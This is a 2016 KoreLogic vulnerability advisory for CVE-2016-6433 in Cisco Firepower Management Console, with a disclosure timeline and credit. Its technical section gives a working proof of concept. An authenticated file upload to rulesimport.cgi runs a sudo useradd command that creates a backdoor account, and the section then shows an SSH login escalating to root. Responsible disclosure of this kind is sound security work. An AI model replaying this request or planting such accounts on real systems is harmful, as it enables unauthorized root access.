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KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command
Execution Leading to Root Access

Title: Cisco Firepower Threat Management Console Remote Command Execution
Leading to Root Access
Advisory ID: KL-001-2016-007
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt


1. Vulnerability Details

     Affected Vendor: Cisco
     Affected Product: Firepower Threat Management Console
     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
     Platform: Embedded Linux
     CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous
     Type, CWE-94: Improper Control of Generation of Code
     Impact: Arbitrary Code Execution
     Attack vector: HTTP
     CVE-ID: CVE-2016-6433

2. Vulnerability Description

     An authenticated user can run arbitrary system commands as
     the www user which leads to root.

3. Technical Description

     A valid session and CSRF token is required.  The webserver runs as
     a non-root user which is permitted to sudo commands as root with
     no password.

     POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
     Host: 1.3.3.7
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6
     Connection: close
     Content-Type: multipart/form-data;
boundary=---------------------------15519792567789791301241925798
     Content-Length: 813

     -----------------------------15519792567789791301241925798
     Content-Disposition: form-data; name="manual_update"

     1
     -----------------------------15519792567789791301241925798
     Content-Disposition: form-data; name="source"

     file
     -----------------------------15519792567789791301241925798
     Content-Disposition: form-data; name="file";
filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"
     Content-Type: application/octet-stream

     sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic
     -----------------------------15519792567789791301241925798
     Content-Disposition: form-data; name="action_submit"

     Import
     -----------------------------15519792567789791301241925798
     Content-Disposition: form-data; name="sf_action_id"

     8c6059ae8dbedc089877b16b7be2ae7f
     -----------------------------15519792567789791301241925798--


     HTTP/1.1 200 OK
     Date: Sat, 23 Apr 2016 13:38:01 GMT
     Server: Apache
     Vary: Accept-Encoding
     X-Frame-Options: SAMEORIGIN
     Content-Length: 49998
     Connection: close
     Content-Type: text/html; charset=utf-8

     ...

     $ ssh korelogic@1.3.3.7
     Password:

     Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.
     Cisco is a registered trademark of Cisco Systems, Inc.
     All other trademarks are property of their respective owners.

     Cisco Fire Linux OS v6.0.1 (build 37)
     Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)

     Could not chdir to home directory /Volume/home/korelogic: No such file or
directory
     korelogic@firepower:/$ sudo su -
     Password:
     root@firepower:~#

4. Mitigation and Remediation Recommendation

     The vendor has acknowledged this vulnerability but has
     not issued a fix. Vendor acknowledgement available at:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel) of
KoreLogic, Inc.

6. Disclosure Timeline

     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
     2016.06.30 - Cisco acknowledges receipt of vulnerability report.
     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
                  this vulnerability and for 3 others reported in the
                  same product.
     2016.08.12 - 30 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.02 - 45 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.09 - KoreLogic asks for an update on the status of the
                  remediation efforts.
     2016.09.15 - Cisco confirms remediation is underway and soon to be
                  completed.
     2016.09.28 - Cisco informs KoreLogic that the acknowledgement details
                  will be released publicly on 2016.10.05.
     2016.10.05 - Public disclosure.

7. Proof of Concept

     See Technical Description


The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt